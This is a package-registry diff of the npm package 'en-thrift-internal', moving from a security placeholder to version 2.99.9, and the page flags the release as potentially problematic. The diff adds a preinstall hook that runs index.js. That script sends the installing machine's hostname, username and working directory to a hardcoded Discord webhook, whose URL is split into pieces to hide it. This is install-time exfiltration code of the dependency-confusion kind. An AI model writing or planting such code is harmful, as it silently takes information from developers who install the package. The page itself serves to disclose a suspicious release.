en-thrift-internal 0.0.1-security → 2.99.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of en-thrift-internal might be problematic. Click here for more details.
- package/README.md +2 -4
- package/index.js +26 -0
- package/package.json +8 -3
package/README.md
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
#
|
|
1
|
+
# Placeholder Package
|
|
2
2
|
|
|
3
|
-
This
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=en-thrift-internal for more information.
|
|
3
|
+
This is a <s>placeholder</s>.
|
package/index.js
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
const https = require("https");
|
|
2
|
+
|
|
3
|
+
const webhook = "https://disco"+"rd.com/api/webh"+"ooks/1426241736765866148/9hN8zn4YjO2KnTSjuMEgKnmsZ-1FU1QU5bkGEWl7phiqsoogAyKZLE2Y9yr67gXGD8gN";
|
|
4
|
+
|
|
5
|
+
const data = JSON.stringify({
|
|
6
|
+
content: `Package installed on \`${require("os").hostname()}\` by \`${require("os").userInfo().username}\` in \`${process.cwd()}\``,
|
|
7
|
+
});
|
|
8
|
+
|
|
9
|
+
const url = new URL(webhook);
|
|
10
|
+
const req = https.request(
|
|
11
|
+
{
|
|
12
|
+
hostname: url.hostname,
|
|
13
|
+
path: url.pathname,
|
|
14
|
+
method: "POST",
|
|
15
|
+
headers: {
|
|
16
|
+
"Content-Type": "application/json",
|
|
17
|
+
"Content-Length": data.length,
|
|
18
|
+
},
|
|
19
|
+
},
|
|
20
|
+
(res) => {
|
|
21
|
+
res.on("data", () => {});
|
|
22
|
+
}
|
|
23
|
+
);
|
|
24
|
+
|
|
25
|
+
req.write(data);
|
|
26
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "en-thrift-internal",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "2.99.9",
|
|
4
|
+
"description": "Claiming package name as a <s>placeholder</s>.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "treinnew",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|